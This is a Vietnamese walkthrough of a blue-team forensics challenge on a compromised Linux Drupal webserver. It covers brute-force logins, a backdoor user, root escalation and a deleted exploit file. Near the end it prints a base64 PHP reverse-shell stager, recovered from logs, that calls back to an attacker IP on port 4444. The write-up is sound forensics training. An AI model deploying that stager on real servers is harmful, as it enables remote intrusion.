# Hacked - CyberDefender Walkthrough
https://cyberdefenders.org/blueteam-ctf-challenges/71#nav-questions
Sau khi giải nén file đề cho thì mình có một file ```Webserver.E01``` đây là file thuộc định dạng EWF (Expert Witness Compression Format) có nhiệm vụ lưu trữ thông tin cũng như cấu trúc của các thiết bị lưu trữ, vd : ổ đĩa...
Và công cụ mình hay dùng để phân tích loại file này là ```FTK Imager```.
**Q1: What is the system timezone?**
Vì đây là một ```Linux webserver``` nên timezone sẽ được lưu ở ```etc/timezone```.

```-> Europe/Brussels```
**Q2: Who was the last user to log in to the system?**
Để kiểm tra người dùng cuối cùng log vào hệ thống thì mình sẽ check ```var/log/auth.log```. File này lưu trữ thông tin liên quan đến xác thực đăng nhập, ví dụ ```failed password, accepted password...```

Ở đây mình sẽ dùng keyword là ```Accepted password```, kết quả hiện thị cuối cùng chính là user mà mình cần tìm.
```->mail```
**Q3: What was the source port the user 'mail' connected from?**

```-> 57708```
**Q4: How long was the last session for user 'mail'? (Minutes only)**
Mình vẫn check trong auth.log vì log này có ghi lại thời gian của lúc open session và close session.

Dòng được tô đậm là lúc open session và dòng cuối của log là lúc close session, vậy nên khoảng thời gian cần tìm là ```24 - 23 = 1 phút```.
```-> 1```
**Q5: Which server service did the last user use to log in to the system?**

```-> ssh```
**Q6: What type of authentication attack was performed against the target machine?**
Dễ dàng nhận thấy có rất nhiều ```failed password``` đến từ một địa chỉ ip, đây có thể là dấu hiệu của ```brute-force password attack```.

```-> Brute-force```
**Q7: How many IP addresses are listed in the '/var/log/lastlog' file?**
File này không xem được trên FTK nên mình export về máy và ```strings``` thử :

```-> 2 ```
**Q8: How many users have a login shell?**
Login shell là một loại shell mà hệ thống sử dụng khi một người dùng đăng nhập vào bằng console hoặc thông qua ssh, còn khi đăng nhập trực tiếp qua giao diện đồ họa thì sẽ không có login shell. Và để biết người dùng nào có login shell thì mình sẽ kiểm tra ```etc/passwd```. File ```passwd``` sẽ chứa :
+ Username
+ Password ( thật ra thì password sẽ luôn hiển thị là x, còn nơi lưu trữ thật sự là etc/shadow)
+ UID
+ GID
+ User Info
+ Home Directory
+ Login Shell
Lúc đọc file ```passwd``` thì sẽ thấy có 3 giá trị ở trường login shell là bin/bash, bin/false và sbin/nologin nhưng chỉ có bin/bash mới là giao diện dòng lệnh đầy đủ cho người dùng thao tác còn 2 đứa kia là ngăn chặn việc đăng nhập của người dùng.
Vậy nên mình sẽ dùng keyword là ```bin/bash``` để kiểm tra có bao nhiêu người dùng có login shell.

```-> 5```
**Q9: What is the password of the mail user?**
Như mình có nhắc ở câu phía trên thì password sẽ được lưu ở ```etc/shadow``` nhưng mà ở dạng hash, nên mình sẽ copy đoạn hash và paste vào một file khác để tiến hành crack password :>

Bài này thì mình sẽ dùng ```john``` cho tiện.

```-> forensics```
**Q10: Which user account was created by the attacker?**
Mình vẫn check file auth.log với keyword ```useradd``` nhưng lúc này mình sẽ lọc những kết quả xuất hiện từ ngày 5/10 vì đây là lúc xảy ra brute-force attack nên việc thêm user là rất đáng nghi

Như trên hình thì có một user ```php``` được tạo và đặc biệt là được tạo thông qua command :>, từ điều này có thể khẳng định rằng php chính là ```account``` được tạo bởi attacker vì thường admin sẽ tạo account thông qua giao diện chứ rất hiếm tạo bằng command.
```-> php```
**Q11: How many user groups exist on the machine?**
Để kiểm tra có bao nhiêu ```group``` thì mình sẽ export file group ở thư mục ```etc```

Đọc chay thì hơi lâu và dễ sai nên mình dùng command để đếm số dòng với mỗi dòng là 1 group.

```-> 58```
**Q12: How many users have sudo access?**
Mình sẽ kiểm tra xem group ```sudo``` có bao nhiêu user thông qua file ```group``` vừa export ở câu trên.

```-> 2 ```
**Q13: What is the home directory of the PHP user?**
Check lại file ```auth.log``` một lần nữa để xem command mà attacker dùng để tạo user ```php```

Để ý kĩ chỗ ``` -d /usr/php``` , với tham số -d có tác dụng set ```home directory``` cho user ```php```.
```-> /usr/php```
**Q14: What command did the attacker use to gain root privilege? (Answer contains two spaces).**
Khi check auth.log mình nhận thấy rằng ip ```192.168.210.131``` đã thực hiện brute-force password nên đây chính ip của attacker, bên cạnh đó user ```mail``` với ```accepted password``` từ ip ```192.168.210.131``` nên suy ra ```mail``` chính là attacker.

Dựa vào command này thì có thể thấy lệnh ```sudo``` đã được sử dụng bởi người dùng ```mail```, cho phép họ thực hiện lệnh ```su -``` (chuyển đổi sang người dùng root), và câu lệnh này đang thực hiện tại thư mục ```/var/mail```. Cái hay ở đây là attacker dùng home directory là ```/var/mail``` nên lúc đầu mình có đi tìm .bash_history ở mấy chỗ khác mà không thấy, thật ra thì dựa vào command phía trên có thể xác định được rằng ```mail``` dùng câu lệnh ```sudo su -``` để leo quyền root, nếu muốn kĩ hơn thì cũng có thể check .bash_history ở ```var/mail/.bash_history```

```->sudo su -```
**Q15: Which file did the user 'root' delete?**
Tìm ```.bash_history``` ở ```root/root/```

```-> 37292.c```
**Q16: Recover the deleted file, open it and extract the exploit author name.**
Câu này là không biết recover kiểu gì luôn nên mình search google với keyword là ```37292.c``` thì nó ra cái một cái bài github :


```-> rebel```
**Q17: What is the content management system (CMS) installed on the machine?**
CMS là một hệ quản trị giúp người dùng quản lý và chỉnh sửa mọi nội dung trên website, CMS thường cung cấp một giao diện người dùng đồ họa để người dùng không cần kiến thức lập trình cũng có thể thêm, sửa đổi, và xóa nội dung trên trang web một cách dễ dàng.
Với câu này sẽ có nhiều cách làm , một là check ở ```var/www/html/jabc/modules/blog/blog.info```

Cách thứ 2 là thử tìm bên trong ```etc``` vì nó sẽ có thư mục của CMS ở trong đây.

Hoặc cũng có thể tìm ở ```dpkg.log``` và grep với các CMS phổ biến như :
```
WordPress
Wix
Squarespace
Weebly
Typo3
Joomla
Drupal
```

```-> drupal```
**Q18: What is the version of the CMS installed on the machine?**
```var/www/html/jabc/modules/blog/blog.info```

``` ->7.26```
**Q19: Which port was listening to receive the attacker's reverse shell?**
Vì đây là một webserver nên nếu thật sự có reverse shell thì mình sẽ check access.log trước tiên (dựa theo mấy bài lúc trước mình làm thì nó sẽ có lỗ hổng trên web để attacker có thể upload file).
Mình sẽ grep với ip ```192.168.210.131``` :-1:

Nhìn kĩ hơn vào cái giao thức ```POST``` thì mình thấy đoạn base64 rất bất thường.
```
Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMjEwLjEzMSc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFj.aygiTmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7
```
Decode với base64 thì mình được :

```-> 4444```.